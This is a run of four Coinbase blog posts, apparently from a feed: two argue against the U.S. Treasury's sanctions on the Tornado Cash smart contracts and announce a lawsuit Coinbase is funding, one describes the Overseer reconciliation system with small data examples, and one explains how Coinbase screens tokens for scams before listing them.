On August 8, 2022, Treasury’s Office of Foreign Assets Control (“OFAC”) sanctioned Tornado Cash, an open source software project that uses smart contracts to allow users to send assets privately on the Ethereum network. As part of this action, OFAC added to its Specially Designated Nationals and Blocked Persons List (“SDN List”) Tornado Cash’s smart contracts, which are publicly available, open source tools that anyone can access to send assets from their private accounts and withdraw them to a different crypto address. Smart contracts are essentially code that is not controlled by any individual or group and is executed by the Ethereum network according to strict rules that cannot be modified.

While prior OFAC sanctions against individuals or entities sometimes listed crypto addresses owned or controlled by these bad actors, OFAC has never before sanctioned an open source technology like the Tornado Cash smart contracts. For example, when OFAC sanctioned the North Korean Lazarus Group, it added eight Ethereum addresses to the sanctions list — each were accounts controlled by the Group where they held their assets.

In this case, by adding the Tornado Cash smart contracts to its SDN List, OFAC made it illegal for any U.S. person to use this privacy protocol — banning this technology for all.

OFAC Exceeded Its Authority From Congress and the President in Sanctioning Open Source Technology

Federal agencies, like the Treasury Department, ultimately get their authority to act from the people’s representatives in Congress, which enacts legislation defining an agency’s powers. When operating, federal agencies must act within the bounds of that Congressionally defined authority. If an agency’s action exceeds those powers, Congress has also authorized courts to review that action, with the remedy being to set aside the unlawful action. These challenges are critical to preventing executive overreach and ensuring agency action stays within the bounds of what the people’s representatives in Congress allowed.

Applying these principles here, Congress passed the International Emergency Economic Powers Act (“IEEPA”), authorizing the President to freeze the assets of, and prohibit transactions with, any person determined to be a threat to the United States, and the President delegated this power to Treasury to issue sanctions. However, this delegated power only authorizes OFAC to target persons or their property.*

We are supporting the legal challenge to the Tornado Cash action because the Tornado Cash smart contracts are neither person nor property. This means OFAC exceeded its authority from Congress when it recently added these to the SDN List — effectively banning the technology for all U.S. persons. The outcome sought by this challenge is to have OFAC remove these crypto addresses associated with software from its SDN List, so that U.S. persons can once again use this privacy technology.

First, at the risk of stating the obvious, Tornado Cash open source smart contracts are not persons. They are lines of code, not humans, corporations, or organizations. Tornado Cash’s smart contracts enable a user to deposit tokens from one crypto address and later withdraw those same tokens to a different crypto address, and are executed automatically without human intervention. They are a privacy tool, a technology, that is neither human nor an entity.

Second, and for similar reasons, the Tornado Cash smart contracts are also not property. The ordinary meaning of “property” is something owned, a possession, or a tangible or intangible item that someone has legal title to possess.** The smart contracts are non-proprietary, open source code not controlled by any individual or group. Instead, they are simply programs that run on the Ethereum network according to preset rules that cannot be changed or altered. In the case of the Tornado Cash smart contracts, anyone in the world can send ETH to these contracts, which will then run according to preset instructions that neither the original developers of the code nor those sending or receiving funds can change. When an individual uses these smart contracts, they never turn over control of their assets to another individual or group and assets are not commingled or mixed; they simply use the privacy code to send and then withdraw their assets.

These Novel Sanctions Harmed Innocent Individuals and Threaten the Critical Development of Crypto Privacy Protocols

Unlike in traditional finance, ETH transactions are transparently recorded on the Ethereum blockchain. That means anyone with a computer can view the transaction history and balances associated with a particular user’s address. So, when users send ETH from their address to a recipient’s address, anyone can use a public blockchain explorer to look up that sender’s prior transactions, learn about their spending habits, and check their account balance.

While this transparency is important for auditability and verification, it poses privacy challenges for Ethereum users who reasonably want to protect their personal financial information. For the same reasons that you’d be reluctant to publicly share all your private bank statements that detail your spending history, a person who receives their salary in ETH does not necessarily want everyone knowing how much they make or how they spend their funds.

The Tornado Cash privacy protocol allowed users to regain that privacy. Using smart contracts, a user could deposit assets from one crypto address and withdraw crypto assets to a completely different address, severing the otherwise clear connection to their prior transactions. Once withdrawn, the user could transfer those assets without fear of exposing their entire financial history or net worth to third party strangers. The plaintiffs in this lawsuit represent a cross section of crypto users and developers who used Tornado Cash to protect their privacy and security for various legitimate reasons — from wanting to safely donate to Ukraine war relief without risk of Russian retaliation, to concealing salary deposits that would show how much they earn, to preventing malicious actors from targeting their homes to try to steal large quantities of crypto assets held in their wallets. By creating new, private crypto addresses when sending funds to strangers, these plaintiffs could avoid disclosing their personal accounts, which they use to hold their assets and send personal transactions.

In this way, crypto privacy protocols are not only critical to the development of the crypto ecosystem, they are an important tool to protect individuals against hackers and thieves who may otherwise target owners of crypto addresses that hold significant assets. The sanctions against Tornado Cash have not only blocked this open source technology to U.S. persons, but cryptographers and developers have also been scared away from contributing to other important privacy projects, fearful that their code will be sanctioned in the future.

Coinbase is Committed to Combating Illicit Finance and Supports Reasonable Regulations and Action Against Bad Actors

Coinbase is fully committed to combating illicit activity and sanctions evasion. We regularly partner with and advise law enforcement and regulators on a range of cryptocurrency topics, support critical law enforcement investigations, and respond to many thousands of subpoenas a year. We fully support OFAC’s overarching national security objectives and greatly appreciate the important work it does to sanction bad actors and block the property those actors control. However, in the Tornado Cash action, OFAC did not target the bad actors or the property controlled by those actors; instead, it took the unprecedented step of sanctioning open source technology — a tool legitimately used by many innocent people even if also by some bad actors. We do not believe Congress authorized this, and for good reason. After all, we do not shut down email or the internet code because among its many users are some criminals. That is why we are funding and supporting this challenge by six crypto users seeking to regain critical tools needed to protect their privacy and security.

*50 U.S.C. § 1702(a)(1)(B).
**American Heritage Dictionary of the English Language 1412.

Sanctions Should Target Bad Actors. Not Technology. was originally published in The Coinbase Blog on Medium, where people are continuing the conversation by highlighting and responding to this story.

Tl;dr: Coinbase is funding a lawsuit brought by six people challenging the U.S. Treasury Department’s sanctions of the Tornado Cash smart contracts and asking the Court to remove them from the U.S. sanctions list. The sanctions exceed Treasury’s authority, harm innocent people, remove privacy and security options for crypto users, and stifle innovation.

By Brian Armstrong, CEO

Today we’re announcing that Coinbase is funding a lawsuit brought by six people challenging the United States Treasury Department’s sanctions of the Tornado Cash smart contracts and asking the Court to remove them from the U.S. sanctions list.

Tornado Cash is an open source piece of software running on the Ethereum blockchain that preserves privacy by allowing users to deposit assets from one crypto address and withdraw them using a different crypto address.

Last month, Treasury sanctioned the Tornado Cash software because it was being used by criminals — including North Korean hackers. We have no issue with the Treasury sanctioning bad actors and we take a hard stance against unlawful behavior. But in this case, Treasury went much further and took the unprecedented step of sanctioning an entire technology instead of specific individuals. The problem here is twofold: (1) there are legitimate applications for this type of technology and as a result of these sanctions, many innocent users now have their funds trapped and have lost access to a critical privacy tool, and (2) we believe the Treasury exceeded its authority, given by Congress, by sanctioning a technology.

At Coinbase, we’ve been fighting illicit activity since the very beginning, and while we share Treasury’s commitment to fighting crime, we believe this action harms innocent people and threatens the future of decentralized finance (DeFi) and web3 specifically.

Treasury used a hammer instead of a scalpel

The nature of the blockchain — where every transaction is public — makes crypto more secure. But it can also create privacy concerns. If you receive your salary in crypto, for example, you might not want the world to know how much money you make, or how you choose to spend it.

That’s why the individuals we’re supporting in this case used Tornado Cash in the first place:

• One person used Tornado Cash to anonymously donate money to Ukraine. Afterwards, his wallet received potentially malicious air drops. But because he anonymized his crypto before donating, he avoided attacks against his personal accounts. He has funds trapped in Tornado Cash.
• Another person is an early crypto adopter with a large online presence and a public ENS name linked to his Twitter profile. He used Tornado Cash to protect his personal security while transacting. Now he also has funds trapped in Tornado Cash.
• A third person operates an Etherum staking business. At one point, a stranger working near where he engages in staking asked how much money he was earning. He started using Tornado Cash to protect his assets and his personal safety.

Sanctioning open source software is like permanently shutting down a highway because robbers used it to flee a crime scene. It’s not the best way to solve a problem. It ends up punishing people who did nothing wrong and results in people having less privacy and security.

We believe law abiding citizens have a right to privacy, especially with some of their most sensitive data: their finances.

Treasury acted outside its authority

The second problem is that, while Treasury is allowed to sanction people (along with their property), Congress never gave it the power to sanction open source software. That’s why these plaintiffs are going to court to ask that this software be removed from the U.S. sanctions list. You can read more about our legal argument here.

This will stifle innovation

Finally, sanctioning open-source code has a chilling effect on innovation.

Right now, developers are worried that they could be held responsible for something they had nothing to do with, and no ability to control. At a time when we should be encouraging innovation, this kind of fear and uncertainty will do the opposite — making developers wonder if, by pushing the industry forward, they could be putting themselves at risk.

As one of the largest companies in crypto, we have a responsibility to defend the crypto industry against actions that go too far, and treat crypto on an uneven playing field. It’s not enough to just say we disagree and sit on the sidelines. That’s why we’re funding and supporting this lawsuit.

We will fully comply with the law while we await the court’s decision. But we’re hopeful that these sanctions will be reversed, allowing innocent crypto users to regain access to their funds and making it possible for anyone to use privacy tools to protect themselves.

Defending Privacy in Crypto was originally published in The Coinbase Blog on Medium, where people are continuing the conversation by highlighting and responding to this story.

Tl;dr: A common challenge with distributed systems is how to ensure that state remains synchronized across systems. At Coinbase, this is an important problem for us as many transactions flow through our microservices every day and we need to ensure that these systems agree on a given transaction. In this blog post, we’ll deep-dive into Overseer, the system Coinbase created to provide us with the ability to perform real-time reconciliation.

By Cedric Cordenier, Senior Software Engineer

Every day, transactions are processed by Coinbase’s payments infrastructure. Processing each of these transactions successfully means completing a complex workflow involving multiple microservices. These microservices range from “front-office” services, such as the product frontend and backend, to “back-office” services such as our internal ledger, to the systems responsible for interacting with our banking partners or executing the transaction on chain.

All of the systems involved in processing a transaction store some state relating to it, and we need to ensure that they agree on what happened to the transaction. To solve this coordination problem, we use orchestration engines like Cadence and techniques such as retries and idempotency to ensure that the transactions are eventually executed correctly.

Despite this effort, the systems occasionally disagree on what happened, preventing the transaction from completing. The causes of this blockage are varied, ranging from bugs to outages affecting the systems involved in processing. Historically, unblocking these transactions has involved significant operational toil, and our infrastructure to tackle this problem has been imperfect.

In particular, our systems have lacked an exhaustive and immutable record of all of the actions taken when processing a transaction, including actions taken during incident remediation, and been unable to verify the consistency of a transaction holistically across the entire range of systems involved in real time. Our existing process relied on ETL pipelines which meant delays of up to 24 hours to be able to access recent transaction data.

To solve this problem, we created Overseer, a system to perform near real-time reconciliation of distributed systems. Overseer has been designed with the following in mind:

• Extensibility: Writing a new check is as simple as writing a function, and adding a new data source is a matter of configuration in the average case. This makes it easy for new teams to onboard checks onto the platform that is Overseer.
• Scalability: As of today, our internal metrics show that Overseer is capable of handling more than 30k messages per second.
• Accuracy: Overseer travels through time and intelligently delays running a check for a short time to compensate for delays in receiving data, thus reducing the number of false negatives.
• Near real-time: Overseer has a time to detect (TTD) of less than 1 minute on average.

Architecture

At a high-level, the architecture of Overseer consists of the three services pictured above:

• The ingestion service is how any new data enters Overseer. The service is responsible for receiving update notifications from the databases which Overseer is subscribed, storing the update in S3, and notifying the upstream processors runner service (PRS) of the update.
• The data access layer service (DAL) is how services access the data stored in S3. Each update is stored as a single, immutable, object in S3 and the DAL is responsible for aggregating the updates into a canonical view of a record at a given point in time. This also serves as the semantic layer on top of S3 by translating data from its at-rest representation — which makes no assumptions about the schema or format of the data — into protobufs, and by defining the join relationships necessary to stitch multiple related records into a data view.
• The processors runner service (PRS) receives these notifications and determines which checks — also known as processors — are applicable to the notification. Before running the check, it calls the data access layer service to fetch the data view required to perform the check.

The Ingestion Service

A predominant design goal of the ingestion service is to support any format of incoming data. As we look to integrate Overseer into all of Coinbase systems in the future, it is crucial that the platform is built to easily and efficiently add new data sources.

Our typical pattern for receiving events from upstream data sources is to tail its database’s WAL (write-ahead log). We chose this approach for a few reasons:

• Coinbase has a small number of database technologies that are considered “paved road”, so by supporting the data format emitted by the WAL, we can make it easy to onboard the majority of our services.
• Tailing the WAL also ensures a high level of data fidelity as we are replicating directly what’s in the database. This eliminates a class of errors which the alternative — to have upstream data sources emit change events at the application level — would expose us to.

The ingestion service is able to support any data format due to how data is stored and later received. When the ingestion service receives an update, it creates two artifacts — the update document and the master document.

• The update document contains the update event exactly as we received it from the upstream source, in its original format (protobuf bytes, JSON, BSON, etc) and adds metadata such as the unique identifier for the record being modified.
• The master document aggregates all of the references found in updates belonging to a single database model. Together, these documents serve as an index Overseer can use to join records together.

When the ingestion service receives an update for a record, it extracts these references and either creates a master document with the references (if the event is an insert event), or updates an existing master document with any new references (if the event is an update event). In other words, ingesting a new data format is just a matter of storing the raw event and extracting its metadata, such as the record identifier, or any references it has to other records.

To achieve this, the ingestion service has the concept of a consumer abstraction. Consumers translate a given input format into the two artifacts we mentioned above and can onboard new data sources, through configuration, to tie the data source to a consumer to use at runtime.

However, this is just one part of the equation. The ability to store arbitrary data is only useful if we can later retrieve it and give it some semantic meaning. This is where the Data Access Layer (DAL) is useful.

DAL, Overseer’s semantic layer

To understand the role played by DAL, let’s examine a typical update event from the perspective of a hypothetical Toy model, which has the schema described below:

type Toy struct {
    Type string
    Color string
    Id string
}

We’ll further assume that our Toy model is hosted in a MongoDB collection, such that change events will have the raw format described here. For our example Toy record, we’ve recorded two events, namely an event creating it, and a subsequent update. The first event looks approximately like this, with some irrelevant details or field elided:

{
    "_id": "22914ec8-4687-4428-8cab-e0fd21c6b3b6",
    "fullDocument": {
        "type": "watergun",
        "color": "blue",
     },
     "clusterTime": 1658224073,
}

And, the second, like this:

{
    "_id": "22914ec8-4687-4428-8cab-e0fd21c6b3b6",
    "updateDescription": {
        "updatedFields": {
            "type": "balloon",
        },
     },
     "clusterTime": 1658224074,
}

We mentioned earlier that DAL serves as the semantic layer on top of Overseer’s storage. This means it performs three functions with respect to this data:

Time travel: retrieving the updates belonging to a record up to a given timestamp. In our example, this could mean retrieving either the first or both of these updates.

Aggregation: transforming the updates into a view of the record at a point in time, and serializing this into DAL’s output format, protobufs.

In our case, the updates above can be transformed to describe the record at two points in time, namely after the first update, and after the second update. If we were interested in knowing what the record looked like on creation, we would transform the updates by fetching the first update’s “fullDocument” field. This would result in the following:

proto.Toy{
    Type: "watergun",
    Id: "22914ec8-4687-4428-8cab-e0fd21c6b3b6",
    Color: "blue",
}

However, if we wanted to know what the record would look like after the second update, we would instead take the “fullDocument” of the initial update and apply the contents of the “updateDescription” field of subsequent updates. This would yield:

proto.Toy{
    Type: "balloon",
    Id: "22914ec8-4687-4428-8cab-e0fd21c6b3b6",
    Color: "blue",
}

This example contains two important insights:

• First, the algorithm required to aggregate updates depends on the input format of the data. Accordingly, DAL encapsulates the aggregation logic for each type of input data, and has aggregators (called “builders”) for all of the formats we support, such as Mongo or Postgres for example.
• Second, aggregating updates is a stateless process. In an earlier version of Overseer, the ingestion service was responsible for generating the latest state of a model in addition to storing the raw update event. This was performant but led to significantly reduced developer velocity, since any errors in our aggregators required a costly backfill to correct.

Exposing data views

Checks running in Overseer operate on arbitrary data views. Depending on the needs of the check being performed, these views can contain a single record or multiple records joined together. In the latter case, DAL provides the ability to identify sibling records by querying the collection of master records built by the ingestion service.

PRS, a platform for running checks

As we mentioned previously, Overseer was designed to be easily extensible, and nowhere is this more important than in the design of the PRS. From the outset, our design goal was to make adding a new check as easy as writing a function, while retaining the flexibility to handle the variety of use cases Overseer was intended to serve.

A check is any function which performs the following two functions:

1. It makes assertions when given data. A check can declare which data it needs by accepting a data view provided by DAL as a function argument.
2. It specifies an escalation policy: i.e. given a failing assertion, it makes a decision on how to proceed. This could be as simple as emitting a log, or creating an incident in PagerDuty, or performing any other action decided by the owner of the check.

Keeping checks this simple facilitates onboarding — testing is particularly easy as a check is just a function which accepts some inputs and emits some side effects — but requires PRS to handle a lot of complexity automatically. To understand this complexity, it’s helpful to gain an overview of the lifecycle of an update notification inside Overseer. In the architecture overview at the beginning of this post, we saw how updates are stored by the ingestion service in S3 and how the ingestion service emits a notification to PRS via an events topic. Once a message has been received by PRS, it goes through the following flow:

• Selection: PRS determines which checks should be triggered by the given event.
• Scheduling: PRS determines when and how a check should be scheduled. This happens via what we call “execution strategies”. These can come in various forms, but basic execution strategies might execute a check immediately (i.e. do nothing), or delay a check by a fixed amount of time, which can be useful for enforcing SLAs. The default execution strategy is more complex. It drives down the rate of false negatives by determining the relative freshness of the data sources that Overseer listens to, and may choose to delay a check — thus sacrificing a little bit of our TTD — to allow lagging sources to catch up.
• Translation maps the event received to a specific data view required by the check. During this step, PRS queries the DAL to fetch the records needed to perform the check.
• Finally, execution, which calls the check code.

Checks are registered with the framework through a lightweight domain-specific language (DSL). This DSL makes it possible to register a check in a single line of code, with sensible defaults specifying the behavior in terms of what should trigger a check (the selection stage), how to schedule a check, and what view it requires (the translation stage). For more advanced use cases, the DSL also acts as an escape hatch by allowing users to customize the behavior of their check at each of these stages.

Today, Overseer processes more than 30,000 messages per second, and supports four separate use cases in production, with a goal to add two more by the end of Q3. This is a significant milestone for the project which has been in incubation for more than a year, and required overcoming a number of technical challenges, and multiple changes to Overseer’s architecture.

This project has been a true team effort, and would not have been possible without the help and support of the Financial Hub product and engineering leadership, and members of the Financial Hub Transfers and Transaction Intelligence teams.

Real-time reconciliation with Overseer was originally published in The Coinbase Blog on Medium, where people are continuing the conversation by highlighting and responding to this story.

By Dan Kim — Vice President, Ecosystem and Listings

Tl;dr: Coinbase reviews thousands of crypto tokens; around 90% never get considered for listing as they do not meet our strict requirements for protection against scams like “pump-and-dumps” and “rug pulls.”

Our proprietary threat detection software has identified and blocked over 700 tokens with malicious software that can harm Coinbase users.

We also conduct in-depth research on project teams to ensure they don’t have a record of engaging in questionable business practices.

In order to get the next 100 million people into web3, we need to make it easy to buy, sell, and hold the safest and most reputable catalog of digital assets, and further solidify Coinbase as the most trusted bridge to the cryptoeconomy. We also need to make sure users are protected.

That’s why our goal at Coinbase is to list every asset that meets our industry-leading standards for risk, safety, and user protection: If an asset doesn’t meet those standards, we don’t list it.

We only announce the assets we have decided to list — not the ones that fail to meet our standards. But we’ve heard from many of you that you’d like to learn more about how we decide which assets are added to our roadmap.

How Coinbase reviews digital assets

We review assets based on applications submitted by project teams on Coinbase Asset Hub, as well as the thousands of other projects we track across the global web3 ecosystem.

The order in which we sequence asset reviews is not based on whether we think a project is popular or interesting. Our framework is much more objective and nuanced, and includes factors such as the legitimacy of a project’s white paper, integrity of their contributors, details of how their token works, and engagement levels of their user and developer communities. We only consider listing those assets that meet our rigorous guidelines for legality, safety, reputability, and technical integrability.

We do not list the majority of the tokens that we review. In fact, out of every 100 tokens we consider, only around 10 are identified as potential candidates for Coinbase Exchange, and fewer than that actually get approved for listing.

Today we’re sharing more details about the industry-leading tools, systems and methods we use to protect our users from dangerous digital assets.

How our threat detection software keeps users safe

Blockchain technology is constantly evolving, so any asset review system must be able to adapt with those changes.

That’s why Coinbase developed our proprietary secure trait analyzer, a safety-first, threat detection software that informs us if a token is designed in a way that can harm you or your crypto.

Our software automatically reviews tokens on all the blockchains we support, and identifies those programmed with software (also known as smart contracts) that can potentially harm Coinbase customers. The secure trait analyzer works by detecting specific patterns in smart contracts (which we call code signatures), and comparing them against our database of code signatures from previously analyzed smart contracts. The more smart contracts we review, the faster we’ll be able to distinguish the safer tokens from the riskier ones.

So far, our Listings team has used this automated system to identify over 700 tokens that didn’t meet our security standards due to critical risks, such as single individuals being able to automatically seize users’ funds or unilaterally drain account balances. The proprietary software has also helped us detect dangerous backdoor vulnerabilities — like those that can be used for rug pulls, in nearly one out of every four smart contracts we’ve reviewed.

Whenever we find things that aren’t safe, we ask project teams to take the appropriate measures to mitigate those risks. If they don’t, we don’t list their tokens.

Added security from comprehensive research

In addition to screening smart contracts with our threat detection software, we also conduct other types of detailed due diligence to protect our users.

That includes in-depth research into the project’s purpose, milestones, and key contributors to make sure we’re complying with regulations and identifying any potential connections to illicit activity.

To capture the most comprehensive view of all assets we consider for listing, we also perform on-chain and off-chain analyses of quantitative and qualitative signals — things like historical token prices and trading volume, ownership and vesting schedules, investment and financing history, market capitalization, community sentiment, technical roadmap, and information about how tokens are earned, burned, and distributed.

Digging deeper: Protecting users from bad actors

Beyond our security reviews, we take other important steps to protect our customers from scams.

Earlier this year, we implemented a fraud detection framework that expands our ability to identify even more factors that could potentially harm Coinbase customers. This analysis is specifically designed to evaluate consumer and business risks that might not show up when we review project whitepapers or analyze token smart contracts — things like key project contributors with a record of shady business practices or confirmed allegations of pump-and-dumps.

Since implementing this additional layer of protection, the Listings team has identified nearly 100 projects with tokens that we perceive to be high risk and have chosen not to list.

Coinbase is the most trusted platform for buying, selling, and exchanging digital assets. While we aim to list as many assets as we legally can, our priority is to protect our users. We’ve invested an enormous amount in tools and processes that weed out risky assets, and will continue working towards keeping all Coinbase users safe.

How Coinbase Protects Users From Risky Assets was originally published in The Coinbase Blog on Medium, where people are continuing the conversation by highlighting and responding to this story.